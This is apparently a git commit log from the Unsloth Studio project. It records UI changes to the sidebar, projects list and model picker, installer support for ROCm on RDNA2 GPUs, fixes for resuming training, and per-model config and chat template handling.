* Sidebar: give nested project chats the full options menu and a pin quick-action

- Chats nested under a pinned project now render through the shared chat row, so they get the same hover kebab (Rename, Pin, Move, Export, Archive, Delete) plus a pin/unpin quick-action, matching top-level chats.
- Show more/less now uses the muted nav token with an override, since the sidebar-nav-btn color rule otherwise won so the label matched the chat rows; it now reads clearly dimmer in both light and dark mode.

* Projects list view, pinned-chat promotion, and sidebar polish

- Pinning a chat inside a project now promotes it into the pinned chats list and removes it from the project's nested list, so it shows once in the Pinned section.
- Sidebar highlights only the open chat, not its parent project folder, while a chat inside the project is active.
- Rename project uses the edit icon instead of the compose icon so it no longer matches New chat.
- Projects page is now a list: Name and Modified columns, a pin indicator on pinned rows, and the row options menu on hover, replacing the card grid.

* Redirect after deleting a project viewed via a thread-only URL

commitDelete only redirected when the ?project= param matched the deleted
project. On a thread-only URL the project is resolved from the thread into the
runtime store, so also compare that resolved id, otherwise the user is left on
a deleted thread.

* Restore the unpin quick-action on pinned chats

Pinned rows in Recents already reserved room for it, but only the kebab
rendered. Show the unpin button on hover, left of the options button.

* Projects list: alignment, spacing, no icon overlap, fit-to-height paging

- Add side padding to the list and more room after the folder icon.
- Column header now shares the row layout so Name and Modified line up with the values.
- Pin indicator and options button swap by display so they no longer overlap.
- Show more only appears once projects exceed the page height and reveals five more per click.

* Projects list: align Name to the folder icon and narrow the table

- Drop the header leading spacer so Name starts at the folder icon edge; the
  right-anchored columns keep Modified aligned.
- Narrow the page to max-w-4xl so the table is less wide.

* Projects list: widen slightly and add top spacing

Bump the page to max-w-5xl and increase the top padding so the header sits
a little lower.

* Projects list: infinite scroll instead of Show more

- First page fills the viewport, then a sentinel loads another batch as it
  scrolls into view, re-observing after each load so it keeps filling.
- Search still filters the full project set and shows every match uncapped.

* Projects list: drop dividers for a rounded-row hover style

Remove the row and header borders and give each row a rounded hover fill so
the list reads cleaner, closer to a modern file list.

* Projects list: more row spacing and a tighter hover radius

Increase row padding so projects sit further apart, and drop the hover
corner radius so it reads as a rounded rectangle rather than a pill.

* Projects list: more space below the title

Increase the list top margin so the header sits further from the rows.

* Project landing: narrow slightly and drop the Sources New badge

Reduce the landing column to 44rem and remove the New badge from the Sources
tab.

* Project switcher: rounded-rectangle rows instead of pill

The switcher rows are short, so the shared 12px item radius reads as a pill.
Scope a smaller radius to this menu so the highlight is a rounded rectangle.

* Project landing: add a header options menu

Add a kebab menu next to the project title with Rename project, Pin or Unpin
project, Export, and Delete project, reusing the existing project actions.

* Project switcher: round the scrollbar-side corners

Revert the earlier item-radius tweak. The container corners were squared on
the scrollbar side because the container itself scrolled; move the scroll to an
inner wrapper so the rounded container never scrolls.

* Projects: keep row kebab focusable, gate off-route dialogs, refresh history on delete

* Projects: fix delete copy, refresh history on landing delete, gate chat-delete dialog off-route

---------

Co-authored-by: shimmyshimmer <info@unsloth.ai>
2026-07-21 17:27:23 -07:00
Nilay
d437bc56d5
collapse composer pills to icons on narrow screens (#7269)
* Studio: wrap composer toolbar chips instead of clipping on narrow screens

* Studio: collapse composer pills to icons on narrow screens

* Studio: wrap compare composer pills instead of clipping

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-21 21:02:56 +01:00
Nilay
3c8e3de76e
show the mobile sidebar trigger above the chat header (#7267)
* Studio: show the mobile sidebar trigger above the chat header

* fix

* correct z-index

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-21 21:02:29 +01:00
Daniel Han
35f887d795
Installer: enable ROCm torch on RDNA2 (gfx1030-1036) on Windows (#7277)
* Installer: enable ROCm torch on RDNA2 (gfx1030-1036) on Windows

repo.amd.com publishes a gfx103X-all wheel family with win_amd64 torch
2.9.1/2.10.0/2.11.0+rocm7.13.0 (cp310-313), but both Windows allowlists
omitted RDNA2, so RX 6000 cards (gfx1030/1032, etc.) fell back to CPU-only
torch. Map gfx1030-1036 to gfx103X-all in install.ps1 ($archFamilyMap) and
install_python_stack.py (_GFX_TO_AMD_INDEX_ARCH). No torch floor (mirrors
gfx110X-all: newest wheel, no _grouped_mm bug on RDNA2). NVIDIA/Mac/CPU and
Linux paths untouched; gfx906 stays CPU (no wheels published).

* Sync studio/setup.ps1 RDNA2 (gfx1030-1036) allowlists for PR #7277
2026-07-21 03:54:25 -07:00
Lee Jackson
77da6e8fcb
Studio: show HF token tick only after validation (#7268)
* Studio: show HF token tick only after validation

* Studio: prevent stale HF token validation state

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 03:53:11 -07:00
oobabooga
f5da223c22
Installer: report the installed Unsloth version (#7265)
* Installer: report the installed Unsloth version

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 03:48:49 -07:00
Michael Han
f6359805a8
Show iconless models in Hub feed above likes threshold (#7284)
Co-authored-by: shimmyshimmer <info@unsloth.ai>
2026-07-21 03:32:40 -07:00
oobabooga
54f21b3a87
Studio: fix loading split GGUFs from the local HF cache (#7273)
* Studio: don't resolve HF cache GGUF symlinks to blob paths

* Studio: handle split GGUF symlink layouts
2026-07-21 02:48:19 -07:00
Nilay
f3c085ad9e
Fix resume training crash recovery and MLX checkpoints (#6796)
* Fix resume training crash recovery and MLX checkpoints

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: preserve interrupted stop-and-save output_dir, verify MLX checkpoint

- finish_run: add clear_output_dir flag; preserve output_dir for stopped/error
  unless cancel explicitly clears it (fixes pump finalization wiping persisted path).
- training pump: pass interrupted stop-and-save context into finalize_run_in_db.
- MLX stop-and-save: verify resumable checkpoint exists before sending complete;
  return bool from _write_mlx_stop_checkpoint and add regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address Codex review: MLX current-step checkpoint and cancel error finalize

- Only skip MLX stop checkpoint write when checkpoint-{current_step} exists;
  stale periodic checkpoints no longer mask missing stop saves.
- Pass clear_output_dir through error-event finalization so Stop-without-save
  cannot leave a persisted output_dir that still offers Resume.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address  review

* Address more reviews

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* more reviews

* clear in-memory output_dir on interrupted cancel

* allow resuming errored runs at the final step

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Clear persisted output_dir in cancel watchdog path

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Write MLX stop checkpoint in stop path, keep output_dir on crash finalize

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): harden resumable run finalization

* fix(studio): defer safetensors checkpoint import

* fix(studio): reject stale training cancellation

* fix(studio): replay null resume targets

* fix(studio): serialize terminal cancellation

* Harden resume checkpoint validation and fix stop-save cleanup

- Reject unrecognized shard formats and keep indexed shard paths inside the checkpoint dir
- Require a non-empty tensor record when validating .pt/.bin optimizer and model state
- Always finalize TensorBoard and W&B on stop-save-failure exits
- Refuse writing an MLX stop checkpoint through a symlinked directory
- Clarify the resume rejection message to cover errored runs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten resume/checkpoint comments

* Recover resumability when a valid stop checkpoint landed

- Re-validate the current-step checkpoint in the dead-worker and error finalization paths so a stop-and-save that actually wrote a valid checkpoint is not wrongly marked error/resume_blocked
- Accept a valid tensor-free optimizer state (e.g. SGD without momentum); the model-state check still requires real tensors
- Include errored runs in the frontend resume rejection message

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lyxot <longyixing331@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-21 02:34:58 -07:00
Wasim Yousef Said
5f92658ac3
Fix Studio desktop reliability (#7255)
* Fix Studio desktop reliability

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix desktop export completion and layout migration

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix maximized setup layout migration

* Adapt desktop exports to data settings

* fix(studio): harden desktop reliability edge cases

* fix(studio): preserve rounded combobox focus fill

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-21 09:51:18 +02:00
Eyera
27b6d553fe
Feat/model picker per model config v2 (#7207)
* refactor(studio): move chat model picker into features/model-picker

Relocate model-selector + its support files from components/assistant-ui
into a self-contained features/model-picker feature (own barrel), mirroring
the modular Hub layout. Pure move + import repoint; no behaviour change.

* feat(model-picker): add per-model config persistence layer

Superset PerModelConfig (customContextLength, kvCacheDtype, speculativeType,
specDraftNMax, tensorParallel, chatTemplateOverride, trustRemoteCode) persisted
to localStorage (unsloth_model_configs) with schema versioning + LRU budget.
KV-dtype and speculative value sets match main's sidebar (no q4_0/ngram-simple).
Reuses features/hub/lib/model-identity for normalization; adds storage-key layer
and applyPerModelConfigToRuntime (sets tensorParallel, which the old PR omitted).

* feat(picker): modular backend for chat-template validate + default fetch

New studio/backend/picker package (schemas/service/routes) mounted at /api/picker:
- POST /api/picker/validate-chat-template (Jinja syntax validation, no false positives)
- GET  /api/picker/chat-template/{model_name} (default template from tokenizer_config.json,
  reusing get_cache_path/resolve_cached_repo_id_case; graceful null, no model-code exec)
Frontend api/templates.ts client + hooks/use-model-defaults lazy cache. No backend
changes to the existing inference load route (per-model load fields already supported).

* feat(model-picker): bind picker on-device list to shared hub inventory

Picker now sources cached + local models from useHubInventory (the Hub's shared
store) via a thin adapter, replacing its own /api/models/* fetchers + module
caches. Hub, download manager, and picker now share one source of truth, so
completed downloads reflect in the picker automatically. Partial/live-download
rows are filtered from the cached lists (unchanged rendering). Local naming/search
preserved via additive LocalInventoryRow modelId/displayName. Variant expander,
scan-folder management, recommended-fit, search, external providers untouched.

Known minor: cached 'Downloaded date' sort tiebreak degrades to alphabetical
(hub cached rows carry no mtime); default 'recent' (load-time) sort preserved.

* feat(model-picker): per-model config step inside the picker

Picking a (non-external) model now opens an in-picker config view built from
main's current load controls (context length, KV cache dtype, speculative
decoding, draft tokens, tensor parallel) plus a chat-template editor backed by
the picker validate/default endpoints. 'Remember for this model' persists the
config per model+variant; Run forwards the config to the existing load flow via
meta.config. External models bypass the step. Two-view orchestration lives in
model-selector (single interception point); pickers.tsx call sites untouched.
trustRemoteCode dropped from PerModelConfig to preserve main's per-load consent.

* feat(chat): apply/persist per-model config through the load flow

handleCheckpointChange threads meta.config into the selection; stageOrLoad and
the autoload/Hub-run paths now apply the picker config (explicit pick or saved
remembered config) via applyPerModelConfigToRuntime before staging/loading, with
keepSpeculative set so a remembered speculative mode survives the model switch.
Replaces the old remembered-load-settings seeding (resolveInitialConfig now the
single source). SelectedModelInput carries config.

* refactor(chat): remove per-model load config from the right sidebar

The load knobs (context, KV cache, speculative, draft tokens, tensor parallel)
and the chat-template editor now live only in the picker config step. The sheet's
Model section keeps the staged Load/Cancel flow (config is applied at pick time);
sampling params, system prompt, and RAG are unchanged. Deletes the superseded
remembered-load-settings module + the store's applyRememberedLoadSettings action,
removes the now-dead sheet state/imports, and points the settings reset at
unsloth_model_configs. Delete-cleanup deferred (stale config is LRU-capped).

* fix(model-picker): remove leftover sidebar-staging cogwheel + empty Model section

The downloaded-variant gear (ModelLoadSettingsAction) staged a model straight
into the right-sidebar Run-settings flow -- the old 'configure before load' path
now fully replaced by the in-picker config step. Removed the gear + its component.
Also gate the sheet's 'Model' section to staged picks only (pendingSelection):
after the load-knob strip its content is staged-only, so it was rendering an
empty section header whenever a model was merely loaded.

* chore(chat): remove dead per-model-config setters + modelControlsDisabled

After the load-config UI moved into the picker, the store's per-model setters
(setKvCacheDtype/setSpeculativeType/setSpecDraftNMax/setTensorParallel/
setCustomContextLength/setChatTemplateOverride) had zero callers
(applyPerModelConfigToRuntime writes via setState), and the sheet's
modelControlsDisabled was unreferenced. Verified dead across the whole tree.

* fix(chat): config-step Load actually loads (ignore Load-on-selection)

Root cause: with Settings > Chat > 'Load on selection' turned OFF, the config
step's load went down the deferred-staging path -- opening the right sidebar with
'<model> is staged, not loaded yet / Choose Load model'. The in-picker config step
IS the deliberate load action, so its Load now loads immediately (or downloads +
auto-loads when not cached) regardless of the toggle. Renamed the button
'Run model' -> 'Load model' to match. Native/dropped picks still honor the toggle.

* refactor(chat,hub): retire 'Load on selection' — config step is the only load flow

The in-picker config step (and the Hub Run button) now fully supersede the old
stage-to-sidebar flow, so the Load-on-selection toggle is removed everywhere:
- chat stageOrLoad: every pick loads immediately, or downloads + auto-loads when
  not cached (the previous default behaviour, now universal).
- hub Run: drops the stage branch; downloaded GGUFs load directly with their saved
  per-model config (no collision with the chat config step — both end at selectModel).
- store: removed loadOnSelection field/setter/key/default; Settings>Chat toggle and
  its settings-reset entry removed.
- staged sidebar section is now a download-progress view (auto-loads on completion).
No manual staging remains; stageModel is used only for background auto-load downloads.

* feat(model-picker): default chat template from GGUF + thread variant through config flow

Read the embedded tokenizer.chat_template from GGUF files (read_gguf_chat_template
in gguf_metadata) and use it as the per-model default. Plumb gguf_variant through
the picker service, /api/picker/chat-template route, frontend templates API, and
use-model-defaults so the right variant's template is fetched.

Also refine the picker config-page/model-selector wiring, drop the dead
ggufNativeContextLength runtime path, and add the per-model-config storage keys to
the settings prefs export.

* feat(model-picker): read safetensors chat template + hide editor where it has no effect

Resolve the default chat template for safetensors models: prefer the modern
chat_template.jinja, fall back to the tokenizer_config.json chat_template field,
then chat_template.json (multimodal processor), then the GGUF embedded template.
Applied to local dirs, the HF cache snapshot scan, and the HF remote fetch.

Hide the chat-template editor in the picker for safetensors models — the override
is only applied at load by the GGUF/llama.cpp backend, so editing it on safetensors
currently has no effect. GGUF keeps the editor. Nothing removed; the dialog stays
for when the safetensors apply path is wired up in a later branch.

* fix(model-picker): set legacy-migration flag only after the write succeeds

Set unsloth_model_configs_migrated only once writeMap confirms the migrated
map persisted, so a quota/storage failure no longer marks migration done and
silently drops the user's pre-existing remembered settings — the next load retries.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* MVP model picker fixes

* MVP picker config fix

* MVP safetensors config

* MVP max seq config

* MVP max seq fix

* Fix static max tokens cap ignoring model context

* Fix picker GGUF scan parity

* fix(studio): harden model picker config loading

Apply remembered per-model configs consistently from picker and Hub loads, keep default configs from overriding standing speculative settings, add config access for direct local GGUF files, and support saving or forgetting active model settings without a reload.

* Fix model picker config flow

* Fix model picker config loads

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Avoid recursive per-model config migration reads

* Apply the displayed context length when loading a GGUF

* Fix template validation, cached template lookup, and failed load rollback

- Validate chat templates with the loopcontrols extension so templates
  that use break or continue tags pass the picker validator, matching the
  inference renderer that already accepts them.
- Read the default chat template from the newest cache snapshot rather than
  an arbitrary iterdir order, so an older cached revision no longer prefills
  a stale template.
- Capture the runtime per-model config before a load and reapply it when the
  load fails, so a failed switch leaves the active model context, KV cache,
  template, and speculative settings as they were.

* Make chat template view only for safetensors models

Custom chat template overrides are applied at inference only for GGUF
models, which pass the template to llama-server. The safetensors backend
renders with the model built-in template and ignores the override, so
editing it would save a value that never loads. For safetensors the
config page now opens the template as a read-only preview with a note
that editing is not available yet. This can become editable once
inference support for custom safetensors templates lands in main.

* Fix model picker config edge cases

- Restore prior runtime config when a load no-ops for the active model
- Cap the picker validator request body via the protected prefixes
- Keep the GGUF context slider max above the loaded context
- Fetch subfolder chat templates for uncached Hub repos
- Show the compare side config when reopening the picker

* Keep saved GGUF context above the fallback ceiling

* Show the model config in the run settings sidebar

* Fix model config sidebar reset and context slider

- Stack the remember toggle and action buttons in the sidebar
- Reset the config to defaults instead of the loaded values
- Fetch the native context so the slider max is not the loaded value

* Fix model picker config and download regressions

- Run picker chat template routes off the event loop
- Depth and root guard local template directory scans
- Restore download manager flow for uncached hub picks
- Apply per model context length on reload
- Import model picker symbols from the feature barrel

* Fix model picker config and cached download sorting

- Restore load settings when a Hub run is rejected mid load
- Reuse one NumericValueInput instead of a duplicate copy
- Fix double decode of the model name in the template route
- Remove the unused reset-to-loaded settings action
- Fix cached model download sorting

* Fix model picker per-model config edge cases

Honor a saved or typed max seq length above the model's native context so
RoPE extended values are no longer clamped and silently overwritten. Allow
typing past native while the slider keeps native as a soft ceiling.

Guard the fetch success paths in use-model-defaults against an aborted
signal, and refetch when the HF token changes.

Hash the chat template content in the sidebar remount key instead of its
length. Enable reset for a GGUF whose native context is unknown, and floor
the context slider max so it can never fall below the min.

* Fix GGUF context auto-fit and gated model config token

Stop forcing a 32768 context when a GGUF native context is unknown so the backend auto-fits to VRAM again, while still honoring an explicit context edit.

Send the HF token as a query param so gated safetensors models resolve their max position embeddings.

Derive model default state during render to drop the set-state-in-effect calls.

* Fix native GGUF context ceiling and guard picker template reads

Restore the native context store field so the sidebar slider keeps the
full ceiling for drag and drop GGUFs. Limit local chat template reads to
the browse allowlist, skip malformed repo ids, and drop unused model
picker exports.

* Fix model picker lint boundaries

* Fix model picker review findings

Chat template editor never seeded its draft. Radix only calls onOpenChange
from internal events, so the seed in the nextOpen branch was dead and a model
with a saved override opened empty. Saving then cleared the override. Drop the
dead branch, treat draft as an untouched sentinel, and reset it on every close.

Uncached Hub picks could auto load a model after the user left the chat. Main
detached the staged pick on route exit and on chat context change. Carry the
context key on the pending pick and skip the load when it no longer matches.

Also clear configTarget when the picker closes, restore the onUpdated ref so
variant rows stop resubscribing on every parent render, skip the LRU write when
the entry is already most recent, import NumericValueInput relatively, and drop
the unused ModelUpdateAction barrel export.

* Preserve GGUF context on active reload

* Fix model picker per-model config regressions

- Stop reloading the already loaded model on re-pick
- Hide infra models from the chat picker
- Detect vision support on cached GGUF repos
- Honor saved maxSeqLength on auto load
- Restore default chat template for local GGUFs
- Warn on save failure and revert config on cancel
- Refetch picker inventory on open
- Persist read only per model config safely

* Fix stale model auto load

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix model picker numeric input sizing and constraints

Size value inputs to their content so long context lengths are not clipped,
restrict them to numeric characters, and stop the speculative decoding label
from truncating in the sidebar.

* Fix picker CI tests and harden chat template resolution for PR #6647

- tests: point the descender guard at the moved model-selector.tsx path
- tests: exclude the disabled Reload model button from the regenerate locator so .first targets the real Regenerate
- picker/service.py: reject symlinked template/gguf leaves that resolve outside the browse allowlist (HF cache reads unchanged)
- compare mode: resolve each pane's own remembered chat template instead of inheriting the other pane's from the store

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Protect future-schema per-model configs from deletion for PR #6647

savePerModelConfig already refuses to overwrite a stored config whose schema version is newer than this client understands, but deletePerModelConfig did not. Unchecking Remember on an older client therefore silently destroyed a newer client's saved config. Apply the same guard on delete and surface the blocked case through the existing saveFailed toast.

* Protect future-schema per-model configs from quota eviction for PR #6647

The save and delete guards already refuse to touch a stored config whose schema version is newer than this client understands, but the quota-eviction path did not, so a full store on an older client could still evict a newer client's config. Skip future-schema entries when evicting and fail the save if the budget cannot be met without them.

* Fix GGUF context persistence, compare context, and rollback settings for PR #6647

Persist a GGUF context override from the user's intent instead of collapsing it against the loaded context, which reintroduced the context-reset (f4838782cb reverted the native-baseline fix). model-config-page now collapses the saved value against native, and use-chat-model-runtime and chat-adapter retain the requested context on load so re-saving another setting keeps the override; a null request stays null so a VRAM auto-fit never becomes a stored override.

shared-composer: a compare pane with no explicit GGUF context now loads at native (0) like single-view, not the session maxSeqLength that silently shrank the shown context.

use-chat-model-runtime: restore the previous model's KV cache dtype and chat template on a failed-load rollback so it runs as it was, not with backend defaults.

* Preserve native path token when reloading the active model for PR #6647

handleReloadActiveModel rebuilt the selection without the store's activeNativePathToken, so reloading a file-picked GGUF after a settings change validated the display label as a repo/path and failed. Thread the active native token through the reload selection so native-loaded models reopen correctly.

* Make picker template validation resilient and accept HF generation tags for PR #6647

Import Jinja lazily inside validate_chat_template so a backend without the optional jinja2 package (GGUF-only installs) still starts instead of raising ModuleNotFoundError at import time. Register a no-op extension for the Transformers {% generation %} assistant-mask tag so pasting a valid HF chat template validates, matching the renderer, rather than being rejected as an unknown tag.

* Honor remembered compare config and parse processor chat_template.json for PR #6647

* Fix failed-load rollback context and processor template map fallback for PR #6647

* Restore speculative decoding config on failed-switch rollback

When a model switch fails after the previous model was unloaded, the
rollback reload restored tensor_parallel, KV cache dtype and the chat
template override, but omitted speculative_type and spec_draft_n_max and
cleared their loaded shadows to null. The previous model therefore came
back running at backend defaults (speculation off) while the UI still
showed it enabled, and the status resync confirmed the off state. Resend
the previous model's speculative settings in the rollback load and keep
the store's active and loaded speculative fields in sync with them.

* Reset max sequence length when a model has no saved config

applyPerModelConfigToRuntime reset every per-model field except
maxSeqLength, which it only wrote when the incoming config had one.
maxSeqLength is the sole field carried on store.params, so selecting a
model with no remembered config left the previous model's value in place
and later loaded the new model at that leaked length. Fall back to the
standing default so an unremembered model loads at its own default.

* Surface a message when a variant update cannot start

startManagedUpdate handled the conflict and error start outcomes but let
busy fall through as if the update began, so the confirm dialog closed
with no job created and the cached variant stayed stale. Show an info
message when the repo is busy with a sibling transfer so the click is
not silently dropped.

* Keep per-model speculative choices out of the global default

A staged load with a per-model or one-off config sets keepSpeculative,
which already skips reading the global speculative preference. The
matching save still ran unconditionally, so the model-specific choice was
written to the global unsloth_chat_speculative_type and a later model with
no saved config started from it instead of Auto. Skip saveSpeculativeType
when keepSpeculative so the per-model choice stays isolated.

* Seed non-active model settings from the app default max length

The Run settings page captured initialMaxSeqLength from the loaded
model's runtime params and fell back to it for a model with no saved
config. Opening settings for a different, unloaded model and clicking
Load then sent the active model's context (for example 64k) instead of
the 4096 default, risking validation failures or OOMs. Seed the default
for non-active models and keep the runtime value only for the active one.

* Prefer sidecar tokenizer chat template over the GGUF copy for variants

_chat_template_from_dir returned the embedded GGUF template first when a
variant was selected, reversing the tokenizer-first precedence of the
no-variant path. A model whose chat_template.jinja or tokenizer_config.json
supersedes a stale embedded template then got the wrong template on
variant selection. Keep tokenizer files first regardless of variant; the
variant only picks which GGUF is the fallback. Adds regression tests for
both the tokenizer-wins and gguf-fallback cases.

* Keep per-model speculative choices load-local in autoload and compare

The interactive load path treats a per-model speculative choice as
load-local and skips writing it to the global default. Autoload and
generalized compare still called saveSpeculativeType unconditionally, so a
remembered off or ngram setting leaked into unsloth_chat_speculative_type
and later models with no saved config inherited it. Persist the global
preference only when the value came from the global settings.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: record the compare pane's loaded context in runtime state so the active model's settings and any reload or save use it, not the previous context

* Studio: notify the user when a Hub autoload can't start because another download for the model is already running, instead of silently dropping it

* Studio: drop the merge's orphaned staged-model store helpers and unused alert imports

The main merge left isPendingGguf and pendingSelectionMatches referencing the
removed PendingModelSelection type, and the alert-dialog/alert imports unused
after the permission-mode dropdown replaced the bypass dialog, so tsc -b failed.

* Studio: cache a null default chat template so the viewer stops re-fetching it

A model with no sidecar or embedded template resolves to a terminal null, but
that result was never cached, so reopening the template viewer re-ran the
backend and Hugging Face lookup every time.

* Studio: detect direct-file GGUFs in run settings so Max Tokens uses their context

A GGUF loaded from a local file or custom folder has no variant label, so the
run-settings panel treated it as non-GGUF and clamped Max Tokens to the session
max_seq_length instead of the loaded GGUF context. Detect it via the reported
GGUF context and the .gguf checkpoint suffix, matching the chat page.

* Studio: prompt to re-select a local model file when its lease expired before reload

A file-picked GGUF is reachable only through a native path token that the
desktop host prunes after a TTL. Reloading reused that token blindly, so a
reload long after the initial load failed with an opaque error. Track the
token's expiry and, when it has passed, ask the user to re-select the file
instead of attempting a doomed reload.

* Fix descender-clipping test to tolerate sidebar layout utilities

The sidebar account-block div carries layout utilities (min-w-0, flex-1)
between 'flex' and 'flex-col', so the descender-clipping guard's regex,
which required 'flex' immediately followed by 'flex-col', no longer matched
and the test failed to locate the account-block div. Generalize the prefix
to allow intervening flex utilities while still capturing the leading-*
class before the collapsible visibility utility and asserting leading-tight,
so the guard against clipped glyph descenders is fully preserved.

* Harden picker chat-template resolution

Enforce the 64 KiB chat-template contract at the validate endpoint's request
model so a direct caller cannot submit a template far larger than the frontend
allows (MaxBodyMiddleware only bounds the whole request body, not this field);
oversized templates now return a clean 422.

Apply sidecar-over-GGUF template precedence globally across cached snapshots
instead of per snapshot. A repo with multiple cached revisions previously
returned the first snapshot's template, so a newer GGUF-only revision could
win over an older revision's maintained chat_template.jinja sidecar, which
contradicted the documented intent that sidecars supersede the embedded copy.

* Guard per-model config against future-schema and lossy migration

Two forward-compatibility gaps in the versioned per-model config store:

- The load/apply path returned and normalized a stored record without checking
  its schema version, so a record written by a newer client was reinterpreted
  under the current schema and applied to a live model load, even though save,
  delete and eviction all refuse to touch future-schema records. Reject
  future-schema records on load too.
- The one-time legacy migration enforced the storage budget without protecting
  the entries it had just migrated and set the completion flag unconditionally.
  When storage was already full of future-schema records (which are unevictable
  by an older client), the migrated entries were the only evictable ones and
  could be dropped while migration was still marked complete. Protect the
  migrated keys during eviction and only mark migration complete when they
  survive, so it retries once space frees up.

* Discard chat-template validation results after the dialog closes

Server-side template validation is async, but closing or cancelling the editor
did not abort it, so a late-arriving valid response still called onSave and
applied a template the user had already dismissed. Track a validation token
that is bumped on close and ignore any validation result whose token is stale.

* Record native lease expiry when loading a picked GGUF from the chip

The pending-native-model chip loaded via stageOrLoad directly, bypassing
loadNativeModelIntent, so activeNativePathExpiresAtMs was never recorded for a
chip-loaded file. A later reload then either skipped the lease-expiry guard
entirely (expiry left null) or compared against a previously loaded file's
stale expiry, so reload could reuse an already-pruned token or wrongly block a
still-valid one. Route the chip through loadNativeModelIntent, which builds the
same selection and records the expiry.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Prefer sidecar template for a directly selected local GGUF file

A direct .gguf file path read its embedded chat template without checking the
parent directory for a maintained sidecar (chat_template.jinja /
tokenizer_config.json), while directory and variant selections already prefer
the sidecar. That let the config editor preview or save a stale embedded
template for the same model depending on how it was selected. Check the parent
directory sidecars first, then fall back to the embedded copy, and cover both
paths with tests.

* Resolve cached chat template per revision, newest first

The earlier change searched every cached snapshot for a sidecar before
considering any snapshot's embedded GGUF template, which let an obsolete sidecar
from an older revision override the newest revision's template. Restore
per-snapshot resolution (newest first): a revision's sidecar still supersedes
its own embedded GGUF copy, but a newer revision is no longer overridden by an
older revision's sidecar.

* Preserve autoload transport conflicts and surface background busy downloads

- When a Hub autoload hits a transport conflict, keep pendingHubAutoLoad bound
  instead of clearing it. Clearing it re-keyed the download surface and its
  cleanup cancelled the conflict the toast tells the user to resolve, so the
  Hub resume affordance was gone the moment it appeared. Return early on
  conflict, mirroring the started branch, so resolving it from the Hub still
  auto-loads on completion.
- The background-download branch handled started and conflict but silently
  dropped a busy outcome, leaving the user with no feedback when a peer variant
  of the same repo was already downloading. Surface the same busy toast the
  autoload path uses.

* Fix context length, GGUF template, fetch state and lease expiry bugs

Keep explicit context length values instead of collapsing to null at
native. The collapse made the slider jump back at the native maximum
and made Reload load the previous context instead of the chosen one.

Prefer the first split when resolving a GGUF without a variant. Later
splits carry no chat template metadata, so picking the largest file
could return no template for a sharded model.

Clear stale fetch state when template and metadata lookups retry, so
a previous terminal error is not shown while a new fetch is running.

Record native path lease expiry together with the token when a load
commits. The expiry was written by only one load path and even when
the load did not start, so a reload could be blocked with an expired
file message for a still valid token.

* fix(model-picker): resolve review findings across config, inventory, and templates

- Apply remembered per-model config in the training-compare chat handoff so a
  prior model's customContextLength no longer leaks into the next load
- Match GGUF variant labels with the inventory extractor too, so cached
  no-quant-token files resolve their default chat template
- Show "Auto" instead of a fabricated 32768 when native context is unknown
- Reuse the identical staged auto-load object on same-pick so a re-pick during
  download pre-flight no longer disarms auto-load via "busy"
- Union supports_vision when deduping cross-cache inventory rows
- Serve hidden-model needles from a new GET /api/hub/hidden-models endpoint and
  merge them client-side, covering runtime-configured RAG embedders
- Clamp GET chat templates to MAX_CHAT_TEMPLATE_BYTES (route + jinja sidecar),
  matching the validate endpoint's contract
- Lower-clamp stored customContextLength to shared CONTEXT_LENGTH_MIN
- Wipe unsloth_chat_load_on_selection in Settings "Reset all"
- Drop stale pendingHasContext comment describing deleted staging machinery

* Fix stale defaults cache, token in query string and rounded up context ceiling

Refresh cached chat template and max position data when a model update
completes. Send the HF token for model config requests in the dedicated
header instead of the URL. Snap the native sequence length ceiling down
to the nearest step so the slider cannot exceed the declared maximum.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix compare pane reverting active checkpoint on non-GGUF load

Re-read runtime params after setCheckpoint so the fresh checkpoint is
kept instead of being overwritten by the pre-setCheckpoint snapshot.

* Send the HF token via header for the vision and embedding checks

checkVisionModel and checkEmbeddingModel still passed the HuggingFace
token as a ?hf_token= query parameter, so it landed in server access
logs, proxy logs, and browser history. Move them to the
X-Unsloth-HF-Token header like getModelConfig already does, and accept
the header on the check-vision and check-embedding routes with the
existing query parameter kept as a fallback for older clients.

* Cap the chat template on the model load path

